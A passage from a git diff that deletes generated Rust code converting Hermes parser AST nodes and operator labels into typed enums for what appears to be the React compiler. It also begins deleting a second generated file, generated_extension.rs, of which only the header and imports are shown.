-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                ChainElement::MemberExpression(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "ChainElement"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXMemberExpressionOrIdentifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::JSXMemberExpression => {
-                let node = JSXMemberExpression::convert(cx, node);
-                JSXMemberExpressionOrIdentifier::JSXMemberExpression(Box::new(node))
-            }
-            NodeKind::JSXIdentifier => {
-                let node = JSXIdentifier::convert(cx, node);
-                JSXMemberExpressionOrIdentifier::JSXIdentifier(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "JSXMemberExpressionOrIdentifier"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXExpressionOrEmpty {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ArrayExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::AwaitExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::BinaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::BooleanLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::CallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ClassExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::FunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(Expression::Identifier(Box::new(node)))
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ImportExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(Expression::JSXElement(Box::new(node)))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(Expression::JSXFragment(Box::new(node)))
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::LogicalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::MemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::MetaProperty(Box::new(node)),
-                )
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::NewExpression(Box::new(node)),
-                )
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(Expression::NullLiteral(Box::new(node)))
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::NumericLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ObjectExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::RegExpLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::SequenceExpression(Box::new(node)),
-                )
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::StringLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::TemplateLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::ThisExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::UnaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::UpdateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                JSXExpressionOrEmpty::Expression(
-                    Expression::YieldExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXEmptyExpression => {
-                let node = JSXEmptyExpression::convert(cx, node);
-                JSXExpressionOrEmpty::JSXEmptyExpression(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "JSXExpressionOrEmpty"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXAttributeOrSpread {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::JSXAttribute => {
-                let node = JSXAttribute::convert(cx, node);
-                JSXAttributeOrSpread::JSXAttribute(Box::new(node))
-            }
-            NodeKind::JSXSpreadAttribute => {
-                let node = JSXSpreadAttribute::convert(cx, node);
-                JSXAttributeOrSpread::JSXSpreadAttribute(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "JSXAttributeOrSpread"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXAttributeValue {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::JSXExpressionContainer => {
-                let node = JSXExpressionContainer::convert(cx, node);
-                JSXAttributeValue::JSXExpressionContainer(Box::new(node))
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                JSXAttributeValue::JSXElement(Box::new(node))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                JSXAttributeValue::JSXFragment(Box::new(node))
-            }
-            NodeKind::JSXStringLiteral => {
-                let node = JSXStringLiteral::convert(cx, node);
-                JSXAttributeValue::JSXStringLiteral(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "JSXAttributeValue"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXElementName {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::JSXIdentifier => {
-                let node = JSXIdentifier::convert(cx, node);
-                JSXElementName::JSXIdentifier(Box::new(node))
-            }
-            NodeKind::JSXMemberExpression => {
-                let node = JSXMemberExpression::convert(cx, node);
-                JSXElementName::JSXMemberExpression(Box::new(node))
-            }
-            NodeKind::JSXNamespacedName => {
-                let node = JSXNamespacedName::convert(cx, node);
-                JSXElementName::JSXNamespacedName(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "JSXElementName"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXIdentifierOrNamespacedName {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::JSXIdentifier => {
-                let node = JSXIdentifier::convert(cx, node);
-                JSXIdentifierOrNamespacedName::JSXIdentifier(Box::new(node))
-            }
-            NodeKind::JSXNamespacedName => {
-                let node = JSXNamespacedName::convert(cx, node);
-                JSXIdentifierOrNamespacedName::JSXNamespacedName(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "JSXIdentifierOrNamespacedName"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for JSXChildItem {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::JSXText => {
-                let node = JSXText::convert(cx, node);
-                JSXChildItem::JSXText(Box::new(node))
-            }
-            NodeKind::JSXStringLiteral => {
-                let node = JSXStringLiteral::convert(cx, node);
-                JSXChildItem::JSXStringLiteral(Box::new(node))
-            }
-            NodeKind::JSXExpressionContainer => {
-                let node = JSXExpressionContainer::convert(cx, node);
-                JSXChildItem::JSXExpressionContainer(Box::new(node))
-            }
-            NodeKind::JSXSpreadChild => {
-                let node = JSXSpreadChild::convert(cx, node);
-                JSXChildItem::JSXSpreadChild(Box::new(node))
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                JSXChildItem::JSXElement(Box::new(node))
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                JSXChildItem::JSXFragment(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "JSXChildItem"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for DeclarationOrExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ClassDeclaration => {
-                let node = ClassDeclaration::convert(cx, node);
-                DeclarationOrExpression::Declaration(
-                    Declaration::ClassDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionDeclaration => {
-                let node = FunctionDeclaration::convert(cx, node);
-                DeclarationOrExpression::Declaration(
-                    Declaration::FunctionDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::VariableDeclaration => {
-                let node = VariableDeclaration::convert(cx, node);
-                DeclarationOrExpression::Declaration(
-                    Declaration::VariableDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::TSTypeAliasDeclaration => {
-                let node = TSTypeAliasDeclaration::convert(cx, node);
-                DeclarationOrExpression::Declaration(
-                    Declaration::TSTypeAliasDeclaration(Box::new(node)),
-                )
-            }
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ArrayExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::AwaitExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::BinaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::BooleanLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::CallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ClassExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::FunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::Identifier(Box::new(node)),
-                )
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ImportExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::JSXElement(Box::new(node)),
-                )
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::JSXFragment(Box::new(node)),
-                )
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::LogicalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::MemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::MetaProperty(Box::new(node)),
-                )
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::NewExpression(Box::new(node)),
-                )
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::NullLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::NumericLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ObjectExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::RegExpLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::SequenceExpression(Box::new(node)),
-                )
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::StringLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::TemplateLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::ThisExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::UnaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::UpdateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                DeclarationOrExpression::Expression(
-                    Expression::YieldExpression(Box::new(node)),
-                )
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "DeclarationOrExpression"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ClassItem {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::MethodDefinition => {
-                let node = MethodDefinition::convert(cx, node);
-                ClassItem::MethodDefinition(Box::new(node))
-            }
-            NodeKind::ClassProperty => {
-                let node = ClassProperty::convert(cx, node);
-                ClassItem::ClassProperty(Box::new(node))
-            }
-            NodeKind::ClassPrivateProperty => {
-                let node = ClassPrivateProperty::convert(cx, node);
-                ClassItem::ClassPrivateProperty(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind, "ClassItem"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for ExpressionOrPrivateIdentifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::ArrayExpression => {
-                let node = ArrayExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ArrayExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ArrowFunctionExpression => {
-                let node = ArrowFunctionExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ArrowFunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AssignmentExpression => {
-                let node = AssignmentExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::AssignmentExpression(Box::new(node)),
-                )
-            }
-            NodeKind::AwaitExpression => {
-                let node = AwaitExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::AwaitExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BinaryExpression => {
-                let node = BinaryExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::BinaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::BooleanLiteral => {
-                let node = BooleanLiteral::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::BooleanLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::CallExpression => {
-                let node = CallExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::CallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ClassExpression => {
-                let node = ClassExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ClassExpression(Box::new(node)),
-                )
-            }
-            NodeKind::ConditionalExpression => {
-                let node = ConditionalExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ConditionalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::CoverTypedIdentifier => {
-                let node = CoverTypedIdentifier::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::CoverTypedIdentifier(Box::new(node)),
-                )
-            }
-            NodeKind::FunctionExpression => {
-                let node = FunctionExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::FunctionExpression(Box::new(node)),
-                )
-            }
-            NodeKind::Identifier => {
-                let node = Identifier::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::Identifier(Box::new(node)),
-                )
-            }
-            NodeKind::ImportExpression => {
-                let node = ImportExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ImportExpression(Box::new(node)),
-                )
-            }
-            NodeKind::JSXElement => {
-                let node = JSXElement::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::JSXElement(Box::new(node)),
-                )
-            }
-            NodeKind::JSXFragment => {
-                let node = JSXFragment::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::JSXFragment(Box::new(node)),
-                )
-            }
-            NodeKind::LogicalExpression => {
-                let node = LogicalExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::LogicalExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MemberExpression => {
-                let node = MemberExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::MemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::MetaProperty => {
-                let node = MetaProperty::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::MetaProperty(Box::new(node)),
-                )
-            }
-            NodeKind::NewExpression => {
-                let node = NewExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::NewExpression(Box::new(node)),
-                )
-            }
-            NodeKind::NullLiteral => {
-                let node = NullLiteral::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::NullLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::NumericLiteral => {
-                let node = NumericLiteral::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::NumericLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ObjectExpression => {
-                let node = ObjectExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ObjectExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalCallExpression => {
-                let node = OptionalCallExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::OptionalCallExpression(Box::new(node)),
-                )
-            }
-            NodeKind::OptionalMemberExpression => {
-                let node = OptionalMemberExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::OptionalMemberExpression(Box::new(node)),
-                )
-            }
-            NodeKind::RegExpLiteral => {
-                let node = RegExpLiteral::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::RegExpLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::SequenceExpression => {
-                let node = SequenceExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::SequenceExpression(Box::new(node)),
-                )
-            }
-            NodeKind::StringLiteral => {
-                let node = StringLiteral::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::StringLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::TaggedTemplateExpression => {
-                let node = TaggedTemplateExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::TaggedTemplateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::TemplateLiteral => {
-                let node = TemplateLiteral::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::TemplateLiteral(Box::new(node)),
-                )
-            }
-            NodeKind::ThisExpression => {
-                let node = ThisExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::ThisExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UnaryExpression => {
-                let node = UnaryExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::UnaryExpression(Box::new(node)),
-                )
-            }
-            NodeKind::UpdateExpression => {
-                let node = UpdateExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::UpdateExpression(Box::new(node)),
-                )
-            }
-            NodeKind::YieldExpression => {
-                let node = YieldExpression::convert(cx, node);
-                ExpressionOrPrivateIdentifier::Expression(
-                    Expression::YieldExpression(Box::new(node)),
-                )
-            }
-            NodeKind::PrivateName => {
-                let node = PrivateName::convert(cx, node);
-                ExpressionOrPrivateIdentifier::PrivateName(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "ExpressionOrPrivateIdentifier"
-                )
-            }
-        }
-    }
-}
-impl FromHermes for TypeAnnotation {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        match node_ref.kind {
-            NodeKind::TSTypeAnnotation => {
-                let node = TSTypeAnnotation::convert(cx, node);
-                TypeAnnotation::TSTypeAnnotation(Box::new(node))
-            }
-            _ => {
-                panic!(
-                    "Unexpected node kind `{:?}` for `{}`", node_ref.kind,
-                    "TypeAnnotation"
-                )
-            }
-        }
-    }
-}
-impl FromHermesLabel for VariableDeclarationKind {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for PropertyKind {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for UnaryOperator {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for UpdateOperator {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for BinaryOperator {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for AssignmentOperator {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for LogicalOperator {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for SourceType {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
-impl FromHermesLabel for MethodKind {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-        let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-        utf_str.parse().unwrap()
-    }
-}
diff --git a/compiler/crates/react_hermes_parser/src/generated_extension.rs b/compiler/crates/react_hermes_parser/src/generated_extension.rs
deleted file mode 100644
index bf9ac87a9907..000000000000
--- a/compiler/crates/react_hermes_parser/src/generated_extension.rs
+++ /dev/null
@@ -1,319 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::num::NonZeroU32;
-
-use hermes::parser::{
-    hermes_get_ArrowFunctionExpression_async, hermes_get_ArrowFunctionExpression_body,
-    hermes_get_ArrowFunctionExpression_expression, hermes_get_ArrowFunctionExpression_id,
-    hermes_get_ArrowFunctionExpression_params, hermes_get_ClassDeclaration_body,
-    hermes_get_ClassDeclaration_id, hermes_get_ClassDeclaration_superClass,
-    hermes_get_ClassExpression_body, hermes_get_ClassExpression_id,
-    hermes_get_ClassExpression_superClass, hermes_get_FunctionDeclaration_async,
-    hermes_get_FunctionDeclaration_body, hermes_get_FunctionDeclaration_generator,
-    hermes_get_FunctionDeclaration_id, hermes_get_FunctionDeclaration_params,
